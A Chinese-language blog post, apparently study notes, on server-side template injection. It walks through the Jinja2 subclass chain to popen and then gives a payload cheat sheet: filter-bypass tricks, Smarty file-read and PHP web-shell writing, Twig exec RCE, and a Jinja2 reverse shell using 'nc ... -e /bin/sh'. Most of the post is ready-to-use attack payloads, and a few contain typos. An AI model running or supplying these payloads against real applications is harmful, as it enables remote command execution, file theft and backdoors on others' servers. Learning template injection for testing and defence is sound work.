SSTI

SSTI

模板引擎:动态数据和静态模板结合产生的输出工具

ssti:是服务器端的模板注入漏洞

攻击者 将恶意代码输入到模板 服务器在执行时未对恶意代码进行处理 就输出执行

将字符串 当作模板执行

ssti注入就是使其渲染我们想要执行的的字符串

image-20240601165234732

为什么要用{}

{{}}在jinja2中作为变量包裹标识符,也就是被{{}}包裹的内容会被当作变量解析出来

所以{{恶意代码}} 实现类似SQL注入

image-20240601104448809

魔术方法

__class__   :返回类型所属的对象
__mro__     :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类

__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
read():读取打开了的文件的内容

继承关系

image-20240601123101601

创建四个类 依次继承

在创建一个C的对象c,用__class__找到他当前的类

image-20240601105943388

返回类为C 接着找父类

image-20240601110032154

返回为B 接着找父类 直到父类为object

image-20240601110203692

或者直接一步到位使用__mro__

image-20240601110315274

__mro__方法以数组的形式返回 可以传入’标‘ 得到想要的数组

image-20240601110346404

image-20240601110359881

得到object之后 查看object类下的所有的子类

image-20240601110719068

我们最终的目的是为执行命令获取字段 所以要找能执行命令的函数,如

popenevalsystem()函数或者能打开文件的函数open

一般情况下会用popen函数 因为system()函数没回显,popen函数有回显

所以 需要知道这些子类里面哪个有能执行命令的函数

<wrap_close>子类就是其中之一

image-20240601114623672

接着初始化 初始化相当于 创建一个新的实例

然后用__globals__方法将获取到的方法以字典的形式返回

image-20240601115537988

接下来 可以用popen函数执行命令 执行一下whoami

image-20240601115844137

image-20240601115905956

绕过

{{"".__class__}}

绕过.

[]代替.

{{""['__class__']}}

用attr()过滤器绕过

{{""|sttr('__class__')}}

绕过_

十六进制编码

{{“”["\x5f\x5fclass\x5f\x5f"]}}

绕过[]

__getitem__ 魔术方法

__subclasses()__.__getitem__(133)

绕过{

{%print(xxxxxxxxxxxx)%}

{%print(“”.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read())%}

for循环

{%for i in ''.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}

绕过'"

采用 request.args.a

{{url_for.__globals__['__builtins__']}} 			等于
{{url_for.__globals__[request.args.a]}}&a=__builtins__

绕过args

当args被过滤掉时,采用request.cookies.arequest.values.a

{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'

image-20240601151417812

image-20240601151506771

绕过数字

构造的数字

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}}   #117

10个a*12个a-3个a=117个a

构造paylaod

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}

绕过关键字

拼接绕过 如 __class__

{{dict(__cla=a,s=b)|join}}

过滤url_for

可将 url_for可替换为``get_flashed_messages 或者request.init或者request.application`.

chr函数

chr()builtins

chr(65)65是ascii码表对应值

示例payload

{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__.popen('ls').read()}}

chr函数的

{%set chr=''.__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__.popen('ls').read()}}

参考

再补充一下,参考链接

Smarty

#eg:任意文件读取
string:{include file='[file path]'}

{self::getStreamVariable("file:///etc/passwd")}

#eg:写文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

#eg:RCE
{if phpinfo()}{/if}

Twig的RCE

固定的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("[Command]")}}

[Command]换为Shell命令就行。

其中exec()作为回调函数传进去,实现了命令执行

反弹shell

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL
posted @ 2024-06-01 20:57  Yolololololo  阅读(21)  评论(0编辑  收藏  举报